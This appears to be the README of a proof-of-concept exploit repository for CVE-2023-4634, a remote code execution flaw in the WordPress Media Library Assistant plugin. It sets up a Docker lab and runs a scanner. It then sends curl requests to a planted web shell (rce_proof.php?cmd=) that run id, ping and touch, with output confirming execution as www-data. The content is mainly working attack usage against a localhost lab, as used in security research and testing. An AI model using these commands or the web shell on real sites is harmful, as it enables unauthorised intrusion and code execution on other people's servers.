
CVE-2023-4634에 대한 개념 증명 익스플로잇, WordPress Media Library Assistant 플러그인의 원격 코드 실행 취약점입니다. Docker 기반의 취약한 환경과 자동화된 스캐너를 포함합니다.
cd Stand
docker-compose up --build -d
sleep 60
curl -I http://localhost:8080
cd ../PoC/src
python3 scanner.py http://localhost:8080
# Тест команды id
curl "http://localhost:8080/rce_proof.php?cmd=id"
# Тест команды ping
curl "http://localhost:8080/rce_proof.php?cmd=ping+-c+2+127.0.0.1"
# Создание файла-доказательства
curl "http://localhost:8080/rce_proof.php?cmd=touch+/tmp/rce_proof"
[*] Scanning: http://localhost:8080
[+] WordPress is accessible
[+] Plugin found: v3.09
[+] Plugin is VULNERABLE!
[*] Testing RCE...
[+] id command executed
[+] ping command executed
[+] file_check command executed
[+] RCE CONFIRMED!
[+] Results saved to ../result.txt
{
"cve": "CVE-2023-4634",
"target": "http://localhost:8080",
"timestamp": "2025-12-21 13:49:19",
"vulnerable": true,
"findings": {
"wordpress": true,
"plugin_vulnerable": true,
"rce_id": true,
"rce_id_output": "uid=33(www-data) gid=33(www-data) groups=33(www-data)",
"rce_ping": true,
"rce_file_check": true
},
"plugin_version": "3.09",
"status": "VULNERABLE"
}
172.20.0.2:80 (localhost:8080에서 접근 가능)172.20.0.3:3306172.20.0.0/24id 명령어 HTTP 실행ping 명령어 HTTP 실행/tmp/에 파일 생성www-data 권한 확인result.txt에 문서화됨cd Stand
docker-compose down -v